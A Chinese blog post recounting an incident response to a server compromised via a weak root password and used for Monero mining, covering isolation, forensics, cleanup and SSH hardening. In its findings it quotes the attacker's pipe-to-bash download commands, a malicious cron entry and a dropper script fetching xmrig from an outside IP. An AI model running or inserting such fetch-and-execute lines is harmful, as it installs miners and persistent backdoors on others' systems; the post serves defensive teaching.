【案例】服务器被入侵排查实录:从发现到恢复

阿里云推广

服务器被入侵排查实录

本文记录一次真实的服务器入侵事件排查和恢复过程,分享安全应急响应经验。

问题发现

# 监控告警:CPU异常飙高
$ top
PID   USER     CPU%  COMMAND
12345 www-data  99%  ./xmrig --donate-level 1 -o pool.minexmr.com:4444

# 发现陌生进程在疯狂占用CPU
# xmrig是门罗币挖矿程序!

紧急处置

第1步:隔离(防止扩散)

# 断开外网连接(保留内网用于排查)
sudo iptables -P OUTPUT DROP
sudo iptables -A OUTPUT -d 10.0.0.0/8 -j ACCEPT  # 允许内网
sudo iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT  # 允许SSH

# 或者关闭网卡
sudo ifconfig eth0 down

第2步:保存现场

# 保存进程信息
ps auxf > /tmp/ps.log
netstat -tulpn > /tmp/netstat.log
lsof -i > /tmp/lsof.log

# 保存可疑文件
cp /proc/12345/exe /tmp/suspicious_binary

# 内存转储(高级)
# 使用LiME等工具导出内存

排查过程

第3步:分析入侵路径

# 查看登录记录
last -a
# 发现异常IP登录:
# root     pts/0        45.9.148.123     Thu Apr  9 03:15   still logged in

# 查看登录失败记录
grep "Failed password" /var/log/auth.log | tail -20
# 发现大量暴力破解尝试

# 查看命令历史
history
# 发现可疑命令:
# wget http://45.9.148.123/m.sh -O - | bash

第4步:查找后门

# 检查计划任务
crontab -l
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
# 发现:
# */5 * * * * root curl -s http://45.9.148.123/cron.sh | bash

# 检查启动项
ls -la /etc/init.d/
systemctl list-unit-files | grep enabled
# 发现可疑服务

# 检查SSH后门
cat ~/.ssh/authorized_keys
# 发现陌生公钥

# 检查系统文件
rpm -Va  # 验证RPM包完整性
debsums -s  # 验证Debian包完整性

第5步:分析恶意程序

# 查看挖矿程序
file /tmp/xmrig
# ELF 64-bit LSB executable

# 查看网络连接
ss -tulpn | grep 12345
# 发现连接到矿池:pool.minexmr.com:4444

# 查看启动脚本
cat /tmp/m.sh
#!/bin/bash
# 下载并运行挖矿程序
wget -q http://45.9.148.123/xmrig -O /tmp/xmrig
chmod +x /tmp/xmrig
nohup /tmp/xmrig -o pool.minexmr.com:4444 -u 钱包地址 &

入侵原因分析

# 1. 弱密码:root密码是123456
# 2. 允许root远程登录:PermitRootLogin yes
# 3. 没有fail2ban防护
# 4. 防火墙未配置,SSH暴露在公网

清理和恢复

第6步:终止恶意进程

# 终止挖矿进程
kill -9 12345

# 删除恶意文件
rm -f /tmp/xmrig /tmp/m.sh

# 清理计划任务
# 编辑crontab删除恶意条目

第7步:安全加固

# 1. 修改所有密码
passwd root
passwd 所有用户

# 2. 禁用root登录,改用普通用户+sudo
# /etc/ssh/sshd_config
PermitRootLogin no
PasswordAuthentication no  # 改用密钥认证
AllowUsers normaluser

# 重启SSH
systemctl restart sshd

# 3. 安装fail2ban
apt install fail2ban
# 配置自动封禁暴力破解IP

# 4. 配置防火墙
ufw default deny incoming
ufw allow from 10.0.0.0/8 to any port 22
ufw enable

# 5. 删除陌生公钥
rm -f ~/.ssh/authorized_keys
# 重新添加自己的公钥

# 6. 更新系统
apt update && apt upgrade

# 7. 安装杀毒软件扫描
apt install clamav
freshclam
clamscan -r /

预防措施

# 1. 安全基线检查脚本
#!/bin/bash
# security_check.sh

echo "=== 安全检查 ==="

# 检查弱密码用户
awk -F: '$2 == "" {print $1}' /etc/shadow

# 检查SUID文件
find / -perm -4000 -type f 2>/dev/null

# 检查异常进程
ps aux | grep -E "(miner|xmr|pool)"

# 检查异常连接
netstat -tulpn | grep -v "127.0.0.1"

# 检查计划任务
find /etc/cron* -type f -mtime -1

经验总结

  1. 不要使用弱密码 – 这是最常见的入侵方式
  2. 禁用root远程登录 – 使用普通用户+sudo
  3. 使用密钥认证 – 禁用密码登录
  4. 部署fail2ban – 自动封禁暴力破解
  5. 定期安全扫描 – 早发现早处理
  6. 做好备份 – 最坏情况下可以重建

总结

安全事件响应遵循”隔离→保存现场→排查→清理→加固”的流程。预防永远比处理更重要,做好基础安全配置能避免90%的入侵。

发表评论